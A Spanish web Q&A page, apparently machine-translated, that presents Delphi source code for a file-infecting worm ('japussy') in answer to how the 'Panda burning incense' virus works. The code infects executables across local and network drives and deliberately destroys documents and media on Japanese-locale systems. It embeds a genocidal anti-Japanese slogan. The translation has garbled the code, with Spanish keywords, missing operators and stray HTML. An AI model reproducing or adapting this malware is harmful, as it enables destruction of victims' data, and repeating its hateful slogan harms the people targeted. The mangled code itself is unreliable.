Red de conocimiento informático - Conocimiento sistemático - ¿Cómo funciona el virus Panda quema incienso?

¿Cómo funciona el virus Panda quema incienso?

Si quieres hacer un panda quemando incienso, debes aprender a programar. Panda quemando incienso está escrito en Delphi. Si quieres hacerlo, debes aprender Delphi.

Lo siguiente. es el código para quemar incienso panda:

p>

programa japussy;

usa

windows, sysutils, clases, gráficos, shellapi{, registro} <; /p>

const

headersize = 82432; //El tamaño del virus

iconoffset = $12eb8 //El desplazamiento del icono principal del archivo PE

//Compilado en mi delphi5 sp1 El tamaño obtenido puede ser diferente en otras versiones de Delphi

//Buscando la cadena hexadecimal de 2800000020 puede encontrar el desplazamiento del icono principal

{

headersize = 38912; //El tamaño del virus comprimido por upx

iconoffset = $92bc; //El desplazamiento del icono principal del pe; archivo comprimido por upx

//upx 1.24 w Uso: upx -9 --8086 japussy.exe

}

iconsize = $2e8; tamaño del icono principal del archivo PE--744 bytes

icontail = iconoffset iconsize; //La cola del icono principal del archivo PE

id = $44444444; Marca de infección

//Código basura para escribir

catchword = 'si es necesario eliminar una raza, debe ser yamato' '

'si es una. El país necesita ser destruido, ¡debe ser Japón! '

'*** w32.japussy.worm.a ***'; /p>

función Registerserviceprocess(dwprocessid, dwtype: integer): integer;

stdcall; external 'kernel32.dll'; //Declaración de función

var

tmpfile: string;

si: startupinfo;

pi: Process_information;

isjap: boolean = false //marca del sistema operativo japonés

{Juzgar si es win9x}

función iswin9x: boolean

var

ver: tosversioninfo

comenzar

resultado := false

ver.dwosversioninfosize := sizeof(tosversioninfo

si no getversionex(ver) entonces

salir;

si (ver.dwplatformid = ver

_platform_win32_windows) luego //win9x

resultado := true;

end

{Copiar entre secuencias}

procedimiento copystream (src) : tstream; sstartpos: entero; dst: tstream;

dstartpos: entero;

var

scurpos, dcurpos: entero; p>

comenzar

scurpos:= src.posición;

dcurpos:= dst.posición

src.seek(sstartpos, 0 );

dst.seek(dstartpos, 0);

dst.copyfrom(src, recuento);

src.seek(scurpos, 0); p>

dst.seek(dcurpos, 0);

end;

{ Separe el archivo host del archivo pe infectado para su uso}

procedimiento extractfile(nombre de archivo: cadena);

var

sstream, dstream: tfilestream

begin

try

<; p>sstream:= tfilestream.create(paramstr(0), fmopenread o fmsharedenynone);

prueba

dstream:= tfilestream.create(filename, fmcreate);

prueba

sstream.seek(headersize, 0); //Omite la parte del virus del encabezado

dstream.copyfrom(sstream, sstream. size - headersize); /p>

finalmente

dstream.free

fin;

finalmente

transmisión libre

fin;

excepto

fin;

fin;

{llenar estructura de información de inicio}

procedimiento fillstartupinfo(var si: startupinfo; estado: palabra

comenzar

si.cb := sizeof(si

si.lpreserved:=); nil;

si.lpdesktop:= nil;

si.lptitle:= nil

si.dwflags:= startf_useshowwindow; >si.wshowwindow:= estado;

si.cbreserved2:=

si.lpreserv

ed2:= nil;

fin;

{Enviar correo electrónico venenoso}

procedimiento enviar correo

comenzar

< p; >//¿Quién está dispuesto a completar esto?

fin;

{infección pe file}

procedimiento infectonefile(nombre de archivo: cadena

var

hdrstream, srcstream: tfilestream;

icostream, dststream: tmemorystream

iid: longint

aicon: ticon; , ispe: booleano;

i: entero;

buf: matriz[0..1] de char

comenzar

try //Si ocurre un error, el archivo se está utilizando, salga

if comparetext(filename, 'japussy.exe') = 0 entonces //Si es él mismo, no se infectará

salir;

p>

infectado := falso;

ispe := falso

srcstream := tfilestream.create(nombre de archivo, fmopenread;

prueba

for i := 0 a $108 hacer //Verificar el encabezado del archivo

comenzar

srcstream.seek( i, entonces desde el principio);

srcstream.read(buf, 2

if (buf[0] = #80) y (buf[1] = #69) entonces / /pe mark

begin

ispe:= true; //Es un archivo pe

break

end; p>

end;

srcstream.seek(-4, sofromend); //Verificar indicador de infección

srcstream.read(iid, 4); p>si (iid = id) o (srcstream.size lt; 10240) entonces //los archivos demasiado pequeños no están infectados

infectados := true

finalmente

srcstream.free;

end;

si está infectado o (no es ispe) entonces //Salir si está infectado o no es un archivo pe

salir;

icostream := tmemorystream .create;

dststream := tmemorystream.create

prueba

aicon := ticon.create;

prueba

//Obtén el ícono principal (744 bytes) del archivo infectado y guárdalo en la secuencia

aicon.releasehandle

;

un

icon.handle:= extracticon(hinstance, pchar(nombre de archivo), 0);

aicon.savetostream(icostream

finalmente

aicon.free;

fin;

srcstream:= tfilestream.create(nombre de archivo, fmopenread

//Archivo de encabezado

hdrstream:= tfilestream); .create(paramstr(0), fmopenread o fmsharedenynone);

prueba

//Escribe los datos antes del icono principal del virus

copystream(hdrstream, 0). , dststream, 0, iconoffset);

//Escribe el icono principal del programa actual

copystream(icostream, 22, dststream, iconoffset, iconsize); p>//Escribe los datos entre el ícono principal del virus y la cola del virus

copystream(hdrstream, icontail, dststream, icontail, headersize - icontail

/); /Escribir Ingrese el programa host

copystream(srcstream, 0, dststream, headersize, srcstream.size

//Escriba la marca infectada

dststream); buscar (0, 2);

iid := $44444444;

dststream.write(iid, 4

finalmente

); hdrstream .free

fin

finalmente

srcstream.free

icostream.free

dststream .savetofile(nombre de archivo); //Reemplazar el archivo host

dststream.free

end

excepto

end;

end;

{Escribe el archivo de destino en código basura y luego elimínalo}

procedimiento smashfile(nombre de archivo: string

var

filehandle: entero;

i, tamaño, masa, máximo, len: entero

comenzar

intentar

p>

setfileattributes(pchar(filename), 0); //Eliminar el atributo de solo lectura

filehandle:= fileopen(filename, fmopenwrite); p>try

size:= getfilesize(filehandle, nil); //Tamaño del archivo

i:=

rand;

omize;

max := random(15); //Número aleatorio de veces para escribir código basura

si max lt; entonces

max := 5 ;

mass := size div max; //El tamaño de cada bloque de intervalo

len := length(catchword

mientras i lt; max do

begin

fileseek(filehandle, i * mass, 0); //Posicionamiento

//Escribe código basura para destruir completamente el archivo< / p>

filewrite(filehandle, catchword, len

inc(i

end

finalmente

); fileclose(filehandle); //Cerrar el archivo

end;

deletefile(pchar(filename)); //Eliminarlo

excepto

end;

end;

{Obtener una lista de unidades grabables}

función getdrives: string

var

tipo de disco: palabra;

d: char;

cadena:

i: entero

comenzar

for i := 0 a 25 hacer //Atravesar 26 letras

comenzar

d := chr(i 65); p>str:= d ':\';

disktype:= getdrivetype(pchar(str));

//Obtener disco local y disco de red

si (tipo de disco = unidad_fija) o (tipo de disco = unidad_remota) entonces

resultado := resultado d

end

end; p>{Atravesar directorios, infectar y destruir archivos}

procedure loopfiles(ruta, máscara: cadena);

var

i, recuento: entero

fn, text: cadena;

subdir: tstrings;

searchrec: tsearchrec

msg:

función isvaliddir(searchrec: tsearchrec): entero;

comenzar

if (searchrec.attr lt;gt; 16) y (searchrec.name lt;gt; '. ' ) y

(searchrec.name lt; gt; '..') entonces

resultado:= 0 //No es un directorio

else if (searchrec .attr = 16) y (buscar

rec.name <

else result := 2; //Es el directorio raíz

end

begin

if ( findfirst(path mask, faanyfile, searchrec) = 0) luego

comenzar

repetir

peekmessage(msg, 0, 0, 0, pm_remove); /Ajusta la cola de mensajes para evitar generar dudas

si isvaliddir(searchrec) = 0 entonces

comienza

fn := ruta searchrec.name

ext := mayúscula (extractfileext(fn));

si (ext = '.exe') o (ext = '.scr') entonces

comenzar

infectonefile( fn); //Archivo ejecutable de infección

end

else if (ext = '.htm') o (ext = '.html') o (ext = '.asp ') luego

comenzar

//Infectar archivos html y asp, escribir el virus codificado en base64

//Infectar todo usuarios que navegan por esta página web

//¿Qué hermano mayor está dispuesto a completarla?

finalizar

de lo contrario si ext = '.wab' entonces //archivo de libreta de direcciones de Outlook

comenzar

//Obtener correo de Outlook Dirección

fin

de lo contrario, si ext = '.adc', entonces //dirección de Foxmail archivo de autocompletar

comenzar

// Obtener la dirección de correo electrónico de Foxmail

end

de lo contrario, si ext = 'ind' entonces //archivo de la libreta de direcciones de Foxmail

comenzar

// Obtenga la dirección de correo electrónico de Foxmail

end

si no

comenzar

si es japonés, entonces //Es un sistema operativo japonés

comenzar

si (ext = '.doc') o (ext = '.xls') o (ext = '.mdb') o

(ext = ' .mp3' ) o (ext = '.rm') o (ext = '.ra') o

(ext = '.wma') o (ext = '.zip') o (ext = '.rar') o

(ext = '.mpeg') o (ext = '.asf') o (ext = '.jpg') o

(ext = '.jpeg') o (ext = '.gif') o (ext = '.swf') o

(ext

= '.pdf') o (ext = '.chm') o (ext = '.avi') luego

smashfile(fn); //Destruye el archivo

end;

end;

end;

//Dormir durante 200 milisegundos después de infectar o eliminar un archivo para evitar sospechas debido al alto uso de la CPU

dormir(200);

hasta (findnext(searchrec) lt; gt; 0

find;

findclose(searchrec); /p>

findclose(searchrec);

p>

subdir:= tstringlist.create;

if (findfirst(ruta '*.*', fadirectory, searchrec) = 0) entonces

comenzar

repetir

si isvaliddir(searchrec) = 1 entonces

subdir.add(searchrec. nombre);

hasta (findnext(searchrec) lt; gt; 0

find;

findclose(searchrec); >count := subdir.count - 1;

para i:= 0 para contar

loopfiles(ruta subdir.strings '\', máscara

<); p>freeandnil(subdir);

end;

end p>

{Recorre todos los archivos en el disco}

procedimiento infectfiles

var

lista de controladores: cadena;

i, len: entero

comenzar

si getacp = 932 entonces / /Sistema operativo japonés

isjap:= true; //¡Vete al infierno!

driverlist:= getdrives; //Obtener la lista de discos grabables

len:= length(driverlist);

while true do //Bucle infinito< / p>

begin

for i := len downto 1 do //Recorre cada unidad de disco

loopfiles(driverlist ':\', '*.*') / /Infección

sendmail; //Enviar correos electrónicos venenosos

sleep(1000 * 60 * 5); //Dormir durante 5 minutos

end; >

fin;

{Inicio del programa principal}

comenzar

si eswin9x entonces //Es win9x

registrar el proceso de servicio (getcurrentprocessid, 1) //Registrarse como proceso de servicio

else //winnt

begin

//El hilo remoto se asigna al proceso del explorador

//

¿Qué hermano está dispuesto a completarlo?

end;

//Si es el virus original en sí

if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 luego

infectfiles //Infección y envío de correos electrónicos

else //Ha parasitado el programa host y ha comenzado a funcionar

comenzar

tmpfile := paramstr(0); //Crear archivo temporal

delete(tmpfile, length(tmpfile) - 4, 4

tmpfile:= tmpfile #32 '.exe '); ; // Archivo host real, un espacio más

extractfile(tmpfile); //Separación

fillstartupinfo(si, sw_showdefault

createprocess (pchar(); tmpfile), pchar(tmpfile), nil, nil, true,

0, nil, '.', si, pi); //Crea un nuevo proceso para ejecutarlo

infectfiles; //Infección y envío de correos electrónicos